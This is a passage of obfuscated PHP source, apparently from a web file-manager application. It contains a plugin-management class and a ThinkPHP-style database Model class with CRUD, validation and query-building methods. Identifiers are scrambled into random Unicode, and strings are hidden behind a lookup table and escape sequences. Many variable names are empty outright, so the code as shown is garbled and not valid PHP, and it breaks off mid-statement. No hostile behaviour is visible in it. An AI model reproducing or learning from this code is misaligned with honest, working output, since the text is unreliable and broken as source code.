"\123\x79\x73\164\145\x6d\56\160\x6c\x75\147\x69\156\114\151\163\164"; public $field = array("\x6e\x61\155\145", "\163\164\141\x74\x75\x73", "\x72\145\x67\151\145\163\x74", "\x63\x6f\x6e\x66\151\147"); public function loadList($¿賈 = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($¿賈) { return $[$¿賈]; } return $; } public function init() { $֤ =& $_SERVER[]; Hook::trigger($֤[2087]); $濿 = $this->loadPluginList(); foreach ($濿 as $ => $) { $˥ = $this->appAllow($, $); if (!$˥) { continue; } foreach ($[$֤[2088]] as $ => $ǰޙ) { Hook::bind($, $ǰޙ); } } Hook::trigger($֤[2089]); Hook::trigger(ACTION); } public function appAllow($, $Ĕ, $ = true) { $ϋ釁 =& $_SERVER[]; $ˋ = PLUGIN_DIR . $ . $ϋ釁[2090]; if (!is_array($Ĕ) || !is_array($Ĕ[$ϋ釁[2088]]) || $Ĕ[$ϋ釁[817]] != 1 || !is_file($ˋ)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ϋ釁[6]][$ϋ釁[2091]] || !$GLOBALS[$ϋ釁[6]][$ϋ釁[2092]]) { return !0; } $Ͷϩ = explode($ϋ釁[50], strtolower($GLOBALS[$ϋ釁[6]][$ϋ釁[2092]])); return in_array(strtolower($), $Ͷϩ) ? !1 : !0; } if ($ && !Action($ϋ釁[2093])->checkAuth($)) { return !1; } return !0; } public function unInstall($ր) { $ =& $_SERVER[]; $ = $this->loadList($ր); if (file_exists(PLUGIN_DIR . $ր)) { Hook::apply($ր . $[2094]); } $this->remove($[$[475]]); } public function changeStatus($, $ܡ) { $Ʒ =& $_SERVER[]; $ͥ = $this->loadList($); if ($ܡ) { Hook::apply($ . $Ʒ[2095]); } $this->update($ͥ[$Ʒ[475]], array($Ʒ[2096] => $ܡ)); } public function appRegist($, $Ւ) { $Í =& $_SERVER[]; $ۙ = $this->loadList($); if ($ۙ) { $this->update($ۙ[$Í[475]], array($Í[2088] => $Ւ)); } else { $ = array($Í[32] => $, $Í[2088] => $Ւ, $Í[817] => 0, $Í[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ԗ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$[2097]])) { return $ԗ; } foreach ($[$[2097]] as $ => $) { if (!isset($[$[450]]) || isset($ԗ[$])) { continue; } $ԗ[$] = $[$[450]]; } return $ԗ; } public function getPackageJson($ڢ) { return Hook::apply($ڢ . $_SERVER[][2098]); } public function getConfig($􅗓, $ז = false) { $󠅔 =& $_SERVER[]; $ς = array(); $ψ = $this->loadList($􅗓); if ($ψ && is_array($ψ[$󠅔[6]])) { $ς = $ψ[$󠅔[6]]; } if (!$ς || $ז) { $ς = $this->getConfigDefault($􅗓); } return $ς; } public function setConfig($ԁ㭬, $ = false) { $Ō =& $_SERVER[]; $ = $this->loadList($ԁ㭬); if (!$) { return !1; } $ԟМ = $[$Ō[6]]; if ($ == !1) { $ԟМ = array(); $ = $this->getConfigDefault($ԁ㭬); } foreach ($ as $ը => $כˏ) { $ԟМ[$ը] = is_string($כˏ) ? trim($כˏ) : $כˏ; } $this->update($[$Ō[475]], array($Ō[6] => $ԟМ)); } public function viewList() { $ =& $_SERVER[]; $ʙƵ = $this->loadList(); $this->pluginScan($ʙƵ); $ʙƵ = $this->loadPluginList(); $ = array(); foreach ($ʙƵ as $岬 => $ö) { $ = $ö; unset($ö[$[2088]], $ö[$[6]]); $ﴘ = PLUGIN_DIR . $ö[$[32]] . $[2090]; if (!is_file($ﴘ)) { continue; } $ = Hook::apply($ö[$[32]] . $[2098]); if (!is_array($)) { continue; } $[$岬] = array_merge($ö, $); if ($[$[6]][$[1677]] != $[$[1651]]) { Hook::apply($ö[$[32]] . $[2095]); $[$[6]][$[1677]] = $[$[1651]]; $this->update($ö[$[475]], array($[6] => $[$[6]])); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2099]) { return $; } $nj = Hook::trigger($[2100], $); if ($ && !$nj) { die; } return $nj ? $nj : $; } private function pluginScan($) { $܃ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $Ь, 0); foreach ($ as $) { $ = get_path_this($); if (isset($[$]) || !file_exists($ . $܃[2101]) || !file_exists($ . $܃[2090])) { continue; } Hook::apply($ . $܃[2095]); } } } goto aɘ; D: define($_SERVER[][320], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\154\145", "\157\162\x64\145\162", "\141\x6c\151\x61\163", "\150\141\166\151\156\147", "\x67\162\x6f\x75\x70", "\x6c\157\x63\153", "\144\151\x73\164\x69\x6e\x63\164", "\141\x75\164\157", "\x66\151\x6c\164\145\162", "\166\x61\x6c\x69\144\141\x74\x65", "\x72\145\163\165\x6c\x74", "\142\x69\x6e\144", "\x74\157\x6b\x65\156"); public function __construct($Պ = '', $ = '', $Ů = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($Պ)) { if (strpos($Պ, $[10])) { list($this->dbName, $this->name) = explode($[10], $Պ); } else { $this->name = $Պ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[321]); } $this->db(0, empty($this->connection) ? $Ů : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[322])) { $ = $this->dbName ? $this->dbName : think_config($[323]); $ɝ = think_var_cache($[324] . strtolower(get_path_this($) . $[10] . $this->name)); if ($ɝ) { $ݍ = think_config($[325]); if (empty($ݍ) || $ɝ[$[326]] == $ݍ) { $this->fields = $ɝ; return; } } } $this->flush(); } } public function flush() { $Օ =& $_SERVER[]; $this->db->setModel($this->name); $׭ڜ = $this->db->getFields($this->getTableName()); if (!$׭ڜ) { return !1; } $this->fields = array_keys($׭ڜ); $this->fields[$Օ[327]] = !1; foreach ($׭ڜ as $‚ʶ => $켒) { $č[$‚ʶ] = $켒[$Օ[33]]; if ($켒[$Օ[39]]) { $this->fields[$Օ[328]] = $‚ʶ; if ($켒[$Օ[42]]) { $this->fields[$Օ[327]] = !0; } } } $this->fields[$Օ[329]] = $č; if (think_config($Օ[325])) { $this->fields[$Օ[326]] = think_config($Օ[325]); } if (think_config($Օ[322])) { $л = $this->dbName ? $this->dbName : think_config($Օ[323]); think_var_cache($Օ[324] . strtolower(get_path_this($л) . $Օ[10] . $this->name), $this->fields); } } public function switchModel($δ, $ = array()) { $ġ =& $_SERVER[]; $󃗌 = ucwords(strtolower($δ)) . $ġ[330]; if (!class_exists($󃗌)) { think_exception($󃗌 . think_lang($ġ[331])); } $this->_extModel = new $󃗌($this->name); if (!empty($)) { foreach ($ as $̆) { $this->_extModel->setProperty($̆, $this->{$̆}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($َ) { return isset($this->data[$َ]); } public function __unset($ߚ) { unset($this->data[$ߚ]); } public function __call($, $랻) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $랻[0]; return $this; } elseif (in_array(strtolower($), array($[332], $[333], $[334], $[335], $[336]), !0)) { $Ն͛ = isset($랻[0]) ? $랻[0] : $[220]; $Ն͛ = $this->db->parseKey($Ն͛); return $this->getField(strtoupper($) . $[337] . $Ն͛ . $[338] . $, $[332]); } elseif (strtolower(substr($, 0, 5)) == $[339]) { $Ն͛ = think_parse_name(substr($, 5)); $׀[$Ն͛] = $랻[0]; return $this->where($׀)->find(); } elseif (strtolower(substr($, 0, 10)) == $[340]) { $ = think_parse_name(substr($, 10)); $׀[$] = $랻[0]; return $this->where($׀)->getField($랻[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $랻[0]); } elseif (method_exists($this, $)) { array_unshift($랻, $); return call_user_func_array(array($this, $[341]), $랻); } else { return call_user_func_array(array(parent, $), $랻); } } protected function call() { $œ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $œ[4] . $ . think_lang($œ[342])); return; } $[] = $; if (method_exists($this, $œ[343])) { $ = call_user_func_array(array($this, $œ[344]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $œ[345])) { $ = call_user_func_array(array($this, $œ[346]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $ہÌ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $Ժ => $ɒ) { if (is_array($this->fields) && !in_array($Ժ, $this->fields, !0)) { unset($[$Ժ]); } elseif (is_scalar($ɒ)) { $this->_parseType($, $Ժ); } } } if (!empty($this->options[$ہÌ[347]])) { $ = array_map($this->options[$ہÌ[347]], $); unset($this->options[$ہÌ[347]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$֙) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][348]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $Ž = $this->getLastInsID(); if ($Ž) { $[$this->getPk()] = $Ž; $this->_after_insert($, $); return $Ž; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$ۺ, $) { } protected function _after_insert($, $) { } public function addAll($醻, $ۈ = array(), $ = false) { $̚ =& $_SERVER[]; if (empty($醻)) { $this->error = think_lang($̚[348]); return !1; } $ۈ = $this->_parseOptions($ۈ); foreach ($醻 as $Ӱ => $Ҩ) { $醻[$Ӱ] = $this->_facade($Ҩ); } if (method_exists($this->db, $̚[349])) { $ܼ = $this->db->insertAll($醻, $ۈ, $); } else { $this->startTrans(); foreach ($醻 as $Ӱ => $Ҩ) { $ܼ = $this->db->insert($Ҩ, $ۈ, $); } $this->commit(); } if (!1 !== $ܼ) { $ = $this->getLastInsID(); if ($) { return $; } } return $ܼ; } public function selectAdd($տ = '', $ש = '', $鉠 = array()) { $ =& $_SERVER[]; $鉠 = $this->_parseOptions($鉠); if (!1 === ($ʙ = $this->db->selectInsert($տ ? $տ : $鉠[$[350]], $ש ? $ש : $this->getTableName(), $鉠))) { $this->error = think_lang($[351]); return !1; } else { return $ʙ; } } public function save($ = '', $ = array()) { $董 =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($董[348]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $Ϻ = $this->getPk(); if (!isset($[$董[352]])) { if (isset($[$Ϻ])) { $몑Ѥ[$Ϻ] = $[$Ϻ]; $[$董[352]] = $몑Ѥ; unset($[$Ϻ]); } else { $this->error = think_lang($董[351]); return !1; } } if (is_array($[$董[352]]) && isset($[$董[352]][$Ϻ])) { $ؚ¸ = $[$董[352]][$Ϻ]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $׽ = $this->db->update($, $); if (!1 !== $׽) { if (isset($ؚ¸)) { $[$Ϻ] = $ؚ¸; } $this->_afterUpdate($, $); } return $׽; } protected function _beforeUpdate(&$촀, $䌏֍) { } protected function _afterUpdate($ڳ, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[352]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$] = array($[353], $); } else { $[$] = $; } $this->options[$[352]] = $; } $ = $this->_parseOptions(); if (is_array($[$[352]]) && isset($[$[352]][$])) { $؆ = $[$[352]][$]; } $ڹ = $this->db->delete($); if (!1 !== $ڹ) { $ = array(); if (isset($؆)) { $[$] = $؆; } $this->_after_delete($, $); } return $ڹ; } protected function _after_delete($ڽ, $΃) { } public function select($ = array()) { $֮ =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $֮[50])) { $[$] = array($֮[353], $); } else { $[$] = $; } $this->options[$֮[352]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $֮[354] . $this->db->buildSelectSql($) . $֮[355]; } $ = $this->_parseOptions(); $蜫 = $this->db->select($); if (!1 === $蜫) { return !1; } if (empty($蜫)) { return null; } $this->_afterSelect($蜫, $); return $蜫; } protected function _afterSelect(&$, $ϟ) { } public function buildSql($ = array()) { $ؚ =& $_SERVER[]; $ = $this->_parseOptions($); return $ؚ[354] . $this->db->buildSelectSql($) . $ؚ[355]; } public function optionsValue($ԏ = null) { if (is_null($ԏ)) { return $this->options; } elseif (is_array($ԏ)) { $this->options = array_merge($this->options, $ԏ); } } protected function _parseOptions($ = array()) { $԰ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$԰[356]])) { $[$԰[356]] = $this->getTableName(); $Ԭ҈ = $this->fields; } else { $Ԭ҈ = $this->getDbFields(); } if (!empty($[$԰[357]])) { $[$԰[356]] .= $԰[53] . $[$԰[357]]; } $[$԰[358]] = $this->name; if (isset($[$԰[352]]) && is_array($[$԰[352]]) && !empty($Ԭ҈) && !isset($[$԰[359]]) && !isset($[$԰[356]])) { foreach ($[$԰[352]] as $㽐 => $՟) { $㽐 = trim($㽐); if (in_array($㽐, $Ԭ҈, !0)) { if (is_scalar($՟)) { $this->_parseType($[$԰[352]], $㽐); } } elseif (!is_numeric($㽐) && $԰[11] != substr($㽐, 0, 1) && !1 === strpos($㽐, $԰[10]) && !1 === strpos($㽐, $԰[337]) && !1 === strpos($㽐, $԰[214]) && !1 === strpos($㽐, $԰[360])) { unset($[$԰[352]][$㽐]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$灑) { } protected function _parseType(&$٘, $) { $ֿ =& $_SERVER[]; if (empty($this->options[$ֿ[361]][$ֿ[4] . $])) { $ = strtolower($this->fields[$ֿ[329]][$]); if (!1 !== strpos($, $ֿ[362])) { } elseif (!1 === strpos($, $ֿ[363]) && !1 !== strpos($, $ֿ[364])) { $٘[$] = intval($٘[$]); } elseif (!1 !== strpos($, $ֿ[365]) || !1 !== strpos($, $ֿ[366])) { $٘[$] = floatval($٘[$]); } elseif (!1 !== strpos($, $ֿ[367])) { $٘[$] = (bool) $٘[$]; } } } public function find($ڥ = array()) { $ԝ =& $_SERVER[]; if (is_numeric($ڥ) || is_string($ڥ)) { $ݏ[$this->getPk()] = intval($ڥ); $this->options[$ԝ[352]] = $ݏ; } $this->options[$ԝ[368]] = 1; $ڥ = $this->_parseOptions(); $ = $this->db->select($ڥ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ڥ); if (!empty($this->options[$ԝ[369]])) { return $this->returnResult($this->data, $this->options[$ԝ[369]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($ΐ, $槨 = '') { $Ƒ =& $_SERVER[]; if ($槨) { if (is_callable($槨)) { return call_user_func($槨, $ΐ); } switch (strtolower($槨)) { case $Ƒ[370]: return json_encode($ΐ); case $Ƒ[371]: return xml_encode($ΐ); } } return $ΐ; } public function parseFieldsMap($∘, $Ԛ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ِ => $Ӿ) { if ($Ԛ == 1) { if (isset($∘[$Ӿ])) { $∘[$ِ] = $∘[$Ӿ]; unset($∘[$Ӿ]); } } else { if (isset($∘[$ِ])) { $∘[$Ӿ] = $∘[$ِ]; unset($∘[$ِ]); } } } } return $∘; } public function setField($ቁ, $ϊ = '') { if (is_array($ቁ)) { $݅ = $ቁ; } else { $݅[$ቁ] = $ϊ; } return $this->save($݅); } public function setAdd($, $Ͻ = 1) { $ǯ櫈 =& $_SERVER[]; $ = $ . $ǯ櫈[372] . $Ͻ; if ($Ͻ < 0) { $ = $ . $Ͻ; } return $this->setField($, array($ǯ櫈[373], $)); } public function getField($͌, $݌ = null) { $𨊛 =& $_SERVER[]; $ڼ[$𨊛[350]] = $͌; $ڼ = $this->_parseOptions($ڼ); $͌ = trim($͌); if (strpos($͌, $𨊛[50])) { if (!isset($ڼ[$𨊛[368]])) { $ڼ[$𨊛[368]] = is_numeric($݌) ? $݌ : $𨊛[12]; } $ġ = $this->db->select($ڼ); if (!empty($ġ)) { $ώ = explode($𨊛[50], $͌); $͌ = array_keys($ġ[0]); $ޒ = array_shift($͌); $۸ = array_shift($͌); $݆ = array(); $߈ = count($ώ); foreach ($ġ as $߅) { $ = $߅[$ޒ]; if (2 == $߈) { $݆[$] = $߅[$۸]; } else { $݆[$] = is_string($݌) ? implode($݌, $߅) : $߅; } } return $݆; } } else { if (!0 !== $݌) { $ڼ[$𨊛[368]] = is_numeric($݌) ? $݌ : 1; } if ($݌ === $𨊛[332]) { unset($ڼ[$𨊛[368]]); } $߅ = $this->db->select($ڼ); if (!empty($߅)) { if ($݌ === $𨊛[332]) { return reset($߅[0]); } if (!0 !== $݌ && 1 == $ڼ[$𨊛[368]]) { return reset($߅[0]); } foreach ($߅ as $΢) { $ۍ[] = $΢[$͌]; } return $ۍ; } } return null; } public function create($ = '', $Ù = '') { $» =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($»[348]); return !1; } $ = $this->parseFieldsMap($, 0); $Ù = $Ù ? $Ù : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$»[350]])) { $ = $this->options[$»[350]]; unset($this->options[$»[350]]); } elseif ($Ù == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($Ù == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($»[50], $); } if (think_config($»[374])) { $[] = think_config($»[375]); } foreach ($ as $ڛ => $) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } } } if (!$this->autoValidation($, $Ù)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($»[376]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ڛ => $) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$ڛ] = stripslashes($); } } } $this->autoOperation($, $Ù); $this->data = $; return $; } public function autoCheckToken($ȧ) { $諹 =& $_SERVER[]; if (isset($this->options[$諹[377]]) && !$this->options[$諹[377]]) { return !0; } if (think_config($諹[374])) { $Ջ = think_config($諹[375]); if (!isset($ȧ[$Ջ]) || Session::get($Ջ)) { return !1; } list($ӄ, $Ʒ) = explode($諹[11], $ȧ[$Ջ]); if ($Ʒ && Session::get($Ջ . $諹[10] . $ӄ) === $Ʒ) { Session::remove($Ջ . $諹[10] . $ӄ); return !0; } if (think_config($諹[378])) { Session::remove($Ջ . $諹[10] . $ӄ); } return !1; } return !0; } public function regex($׎, $̻) { $ݗɱ =& $_SERVER[]; $ß = array($ݗɱ[379] => $ݗɱ[380], $ݗɱ[381] => $ݗɱ[382], $ݗɱ[383] => $ݗɱ[384], $ݗɱ[385] => $ݗɱ[386], $ݗɱ[387] => $ݗɱ[388], $ݗɱ[389] => $ݗɱ[390], $ݗɱ[391] => $ݗɱ[392], $ݗɱ[366] => $ݗɱ[393], $ݗɱ[394] => $ݗɱ[395]); if (isset($ß[strtolower($̻)])) { $̻ = $ß[strtolower($̻)]; } return preg_match($̻, $׎) === 1; } private function autoOperation(&$, $) { $ҁ =& $_SERVER[]; if (!empty($this->options[$ҁ[396]])) { $ߙЦ = $this->options[$ҁ[396]]; unset($this->options[$ҁ[396]]); } elseif (!empty($this->_auto)) { $ߙЦ = $this->_auto; } if (isset($ߙЦ)) { foreach ($ߙЦ as $ߍ) { if (empty($ߍ[2])) { $ߍ[2] = THINK_MODEL_INSERT; } if ($ == $ߍ[2] || $ߍ[2] == THINK_MODEL_BOTH) { switch (trim($ߍ[3])) { case $ҁ[397]: case $ҁ[398]: $ = isset($ߍ[4]) ? (array) $ߍ[4] : array(); if (isset($[$ߍ[0]])) { array_unshift($, $[$ߍ[0]]); } if ($ҁ[397] == $ߍ[3]) { $[$ߍ[0]] = call_user_func_array($ߍ[1], $); } else { $[$ߍ[0]] = call_user_func_array(array(&$this, $ߍ[1]), $); } break; case $ҁ[350]: $[$ߍ[0]] = $[$ߍ[1]]; break; case $ҁ[399]: if ($ҁ[12] === $[$ߍ[0]]) { unset($[$ߍ[0]]); } break; case $ҁ[400]: default: $[$ߍ[0]] = $ߍ[1]; } if (!1 === $[$ߍ[0]]) { unset($[$ߍ[0]]); } } } } return $; } protected function autoValidation($ܟ, $ɷ) { $ƒ =& $_SERVER[]; if (!empty($this->options[$ƒ[401]])) { $䨇 = $this->options[$ƒ[401]]; unset($this->options[$ƒ[401]]); } elseif (!empty($this->_validate)) { $䨇 = $this->_validate; } if (isset($䨇)) { if ($this->patchValidate) { $this->error = array(); } foreach ($䨇 as $܂ => $֬) { if (empty($֬[5]) || $֬[5] == THINK_MODEL_BOTH || $֬[5] == $ɷ) { if (0 == strpos($֬[2], $ƒ[402]) && strpos($֬[2], $ƒ[403])) { $֬[2] = think_lang(substr($֬[2], 2, -1)); } $֬[3] = isset($֬[3]) ? $֬[3] : THINK_EXISTS_VALIDATE; $֬[4] = isset($֬[4]) ? $֬[4] : $ƒ[404]; switch ($֬[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ƒ[12] != trim($ܟ[$֬[0]])) { if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } } break; default: if (isset($ܟ[$֬[0]])) { if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ֆ, $뛾) { if (!1 === $this->_validationFieldItem($ֆ, $뛾)) { if ($this->patchValidate) { $this->error[$뛾[0]] = $뛾[2]; } else { $this->error = $뛾[2]; return !1; } } return; } protected function _validationFieldItem($ʘ, $) { $֫ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $֫[397]: case $֫[398]: $Ơԃ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $֫[50])) { $[0] = explode($֫[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $º) { $Ͷ[$º] = $ʘ[$º]; } array_unshift($Ơԃ, $Ͷ); } else { array_unshift($Ơԃ, $ʘ[$[0]]); } if ($֫[397] == $[4]) { return call_user_func_array($[1], $Ơԃ); } else { return call_user_func_array(array(&$this, $[1]), $Ơԃ); } case $֫[405]: return $ʘ[$[0]] == $ʘ[$[1]]; case $֫[406]: if (is_string($[0]) && strpos($[0], $֫[50])) { $[0] = explode($֫[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $º) { $[$º] = $ʘ[$º]; } } else { $[$[0]] = $ʘ[$[0]]; } if (!empty($ʘ[$this->getPk()])) { $[$this->getPk()] = array($֫[407], $ʘ[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($ʘ[$[0]], $[1], $[4]); } } public function check($ߵ, $߮ퟐ, $ = "\x72\145\x67\145\170") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[408]: $ = is_array($߮ퟐ) ? $߮ퟐ : explode($[50], $߮ퟐ); return $ == $[7] ? in_array($ߵ, $) : !in_array($ߵ, $); case $[409]: case $[410]: if (is_array($߮ퟐ)) { $ܛ = $߮ퟐ[0]; $̹ = $߮ퟐ[1]; } else { list($ܛ, $̹) = explode($[50], $߮ퟐ); } return $ == $[409] ? $ߵ >= $ܛ && $ߵ <= $̹ : $ߵ < $ܛ || $ߵ > $̹; case $[411]: case $[412]: return $ == $[411] ? $ߵ == $߮ퟐ : $ߵ != $߮ퟐ; case $[413]: $ = mb_strlen($ߵ, $[414]); if (strpos($߮ퟐ, $[50])) { list($ܛ, $̹) = explode($[50], $߮ퟐ); return $ >= $ܛ && $ <= $̹; } else { return $ == $߮ퟐ; } case $[415]: list($ȋ, $Ӳ) = explode($[50], $߮ퟐ); if (!is_numeric($ȋ)) { $ȋ = strtotime($ȋ); } if (!is_numeric($Ӳ)) { $Ӳ = strtotime($Ӳ); } return NOW_TIME >= $ȋ && NOW_TIME <= $Ӳ; case $[416]: return in_array(get_client_ip(), explode($[50], $߮ퟐ)); case $[417]: return !in_array(get_client_ip(), explode($[50], $߮ퟐ)); case $[404]: default: return $this->regex($ߵ, $߮ퟐ); } } public function query($焺, $ = false) { $߃ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $焺 = str_replace(array($߃[262], $߃[418]), $߃[53], $焺); $焺 = $this->parseSql($焺, $); return $this->db->query($焺); } public function execute($, $ڤ = false) { if (!is_bool($ڤ) && !is_array($ڤ)) { $ڤ = func_get_args(); array_shift($ڤ); } $ = $this->parseSql($, $ڤ); return $this->db->execute($); } protected function parseSql($, $شŅ) { $ޜ =& $_SERVER[]; if (!0 === $شŅ) { $ݾ = $this->_parseOptions(); $ = $this->db->parseSql($, $ݾ); } elseif (is_array($شŅ)) { $شŅ = array_map(array($this->db, $ޜ[419]), $شŅ); $ = vsprintf($, $شŅ); } else { $ = strtr($, array($ޜ[420] => $this->getTableName(), $ޜ[421] => think_config($ޜ[321]))); } $this->db->setModel($this->name); return $; } public function db($֔ = '', $ȆǛ = '', $ = array()) { $蓤֡ =& $_SERVER[]; if ($蓤֡[12] === $֔ && $this->db) { return $this->db; } static $ = array(); static $ۥه = array(); if (!isset($ۥه[$֔]) || isset($ۥه[$֔]) && $ȆǛ && $[$֔] != $ȆǛ) { if (!empty($ȆǛ) && is_string($ȆǛ) && !1 === strpos($ȆǛ, $蓤֡[8])) { $ȆǛ = think_config($ȆǛ); } $֔ = think_guid($ȆǛ); $ۥه[$֔] = Db::getInstance($ȆǛ); } elseif (NULL === $ȆǛ) { $ۥه[$֔]->close(); unset($ۥه[$֔]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $ε) { $this->setProperty($, $ε); } } $[$֔] = $ȆǛ; $this->db = $ۥه[$֔]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ꇃ = get_class($this); if ($ꇃ == $_SERVER[][422]) { return $this->name; } $this->name = substr($ꇃ, 0, -5); } return $this->name; } public function getTableName() { $ڋ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $ڋ[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $ڋ[10] : $ڋ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ȳ =& $_SERVER[]; return isset($this->fields[$ȳ[328]]) ? $this->fields[$ȳ[328]] : $this->pk; } public function getDbFields() { $ܒ =& $_SERVER[]; if (isset($this->options[$ܒ[356]])) { $ܑ = $this->db->getFields($this->options[$ܒ[356]]); return $ܑ ? array_keys($ܑ) : !1; } if ($this->fields) { $ܑ = $this->fields; unset($ܑ[$ܒ[327]], $ܑ[$ܒ[328]], $ܑ[$ܒ[329]], $ܑ[$ܒ[326]]); return $ܑ; } return !1; } public function data($ij = '') { $ =& $_SERVER[]; if ($[12] === $ij && !empty($this->data)) { return $this->data; } if (is_object($ij)) { $ij = get_object_vars($ij); } elseif (is_string($ij)) { parse_str($ij, $ij); } elseif (!is_array($ij)) { think_exception(think_lang($[348])); } $this->data = $ij; return $this; } public function join($Қ) { $ =& $_SERVER[]; if (is_array($Қ)) { $this->options[$[359]] = $Қ; } elseif (!empty($Қ)) { $this->options[$[359]][] = $Қ; } return $this; } public function union($򛑄, $ˌ = false) { $ =& $_SERVER[]; if (empty($򛑄)) { return $this; } if ($ˌ) { $this->options[$[423]][$[424]] = !0; } if (is_object($򛑄)) { $򛑄 = get_object_vars($򛑄); } if (is_string($򛑄)) { $Ӄ = $򛑄; } elseif (is_array($򛑄)) { if (isset($򛑄[0])) { $this->options[$[423]] = array_merge($this->options[$[423]], $򛑄); return $this; } else { $Ӄ = $򛑄; } } else { think_exception(think_lang($[348])); } $this->options[$[423]][] = $Ӄ; return $this; } public function cache($ = true, $ = null, $Ȕ߮ = '') { $݈ռ =& $_SERVER[]; if (!1 !== $) { $this->options[$݈ռ[425]] = array($݈ռ[97] => $, $݈ռ[415] => $, $݈ռ[33] => $Ȕ߮); } return $this; } public function field($, $寃 = false) { $Ћ =& $_SERVER[]; if (!0 === $) { $ 